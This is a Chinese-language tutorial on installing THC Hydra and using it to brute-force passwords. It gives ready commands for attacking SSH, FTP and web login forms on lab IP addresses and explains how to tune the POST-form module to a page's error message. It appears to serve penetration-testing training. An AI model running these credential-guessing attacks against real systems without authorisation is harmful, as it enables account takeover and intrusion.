一、介绍
hydra是一个自动化的爆破工具,暴力破解弱密码,支持众多协议,已经集成到KailLinux中,直接在终端打开即可。
hydra支持的服务有:POP3,SMB,RDP,SSH,FTP,POP3,Telnet,MYSQ
属于在线破解密码
二、安装
2.1、安装依赖
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev \
libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
firebird-dev libmemcached-dev libgpg-error-dev \
libgcrypt11-dev libgcrypt20-dev
2.2、下载
mkdir hydra
cd hydra/
wget --no-check-certificate https://github.com/vanhauser-thc/thc-hydra/archive/v9.0.tar.gz
2.3、安装
tar -zxvf v9.0.tar.gz
cd thc-hydra-9.0/
./configure
make
sudo make install
sudo make clean
2.4、验证
hydra
三、使用方法
-l:指定单个用户名,适合在知道用户名爆破密码时使用-L:指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径) 用户字典-p:指定单个密码,适合在知道密码爆破用户名时使用-P:指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径) 密码字典-C:当用户名与密码存储到一个文件时使用此参数,注意,文件(字典)存储的格式必须为 "用户名:密码" 的格式。-M:指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 "地址:端口"-t:指定爆破时的任务数量(可以理解为线程数),默认为16-s:指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口-S:指定爆破时使用SSL连接-e:空密码探测和指定用户密码探测(ns)-R:继续从上一次爆破进度上继续爆破-v/-V:显示爆破的详细信息-f:一但爆破成功一个就停止爆破-o:将找到用户密码对写入文件中而不是stdout-4/-6:use IPv4 (default) / IPv6 addresses (put always in [] also in -M)service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)server:代表要攻击的目标IP(单个),多个目标时请使用 -M 参数OPT:爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get
使用 HYDRA_PROXY_HTTP 或者 HYDRA_PROXY environment 变量进行代理配置:
% export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
% export HYDRA_PROXY=connect_and_socks_proxylist.txt (up to 64 entries)
% export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
% export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries)
hydra示例:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
四、使用
4.1、linux系统SSH密码破解
hydra -l zhang -p Zhang_xxx ssh://192.168.11.45 -vV
hydra -l root -P /home/pass.txt ssh://192.168.11.45 -vV
或者
hydra -L /home/user.txt -P /home/pass.txt ssh://192.168.11.45 -vV
4.2、ftp服务破解
端口扫描:需要先在75机器上安装ftp服务
hydra -L /home/user.txt -P /home/pass.txt -f ftp://192.168.11.75 -s 21 -e nsr -t 1 -vV
4.3、破解web登录 GET请求
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
4.4、破解web登录 POST请求
hydra -l podding -P /home/pass.txt -o out.txt -vV -f 192.168.11.45 -s 443 http-post-form "/auth/login:name=^USER^&password=^PASS^:用户名或密码格式错误"
参数解释:
-
-o out.txt 将尝试过程与结果保存到out.txt;
-
-f:找到一个后停止;
-
192.168.11.45:目标IP地址;
-
http-post-form:使用http协议的post方法进行破解;
-
"/:name=^USER^&password=^PASS^:用户名或密码格式错误,请重新输入。" :有三部分组成,以冒号分隔。 第一部分只有一个"/",是指定登录页面所在目录。 第二部分name=^USER^&password=^PASS^,是在网站F12 network中看到的POST提交的内容,只是把用户名与密码换成了^USER^和^PASS^。USER对应前面的-l 后跟的用户名podding,PASS会被字典中的密码逐个替换。 第三部分用户名或密码格式错误,是指定的判断密码是否正确的条件,默认是黑名单模式,也就是如果返回页面中存在”用户名或密码格式错误“就说明这个密码不正确,原因是我们在随便输入一个错误密码后,会看到页面中多了一个类为error的标签
使用http-post-form,不加-s 与 加 -s 443:
使用https-post-form: